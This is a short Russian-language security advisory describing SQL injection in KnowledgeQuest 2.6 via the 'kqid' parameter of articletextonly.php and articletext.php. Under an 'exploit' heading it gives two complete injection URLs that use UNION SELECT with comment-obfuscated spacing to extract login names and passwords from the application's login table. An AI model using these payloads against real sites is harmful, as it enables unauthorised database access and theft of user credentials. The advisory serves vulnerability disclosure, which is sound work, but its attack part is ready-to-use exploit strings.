Программа: KnowledgeQuest 2.6

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «kqid» сценарием articletextonly.php и articletext.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Эксплоит:

http://www.site.com/[patch]/articletextonly.php?kqid=-9999/* */union/**/select/**/1,2,3,loginid,password,6,7,8,9,10,11/**/from/**/login/*

http://www.site.com/[patch]/articletext.php?kqid=-999/**/union/* */select/**/1,2,3,loginid,password,6,7,8/**/from/**/login/*



Оставить мнение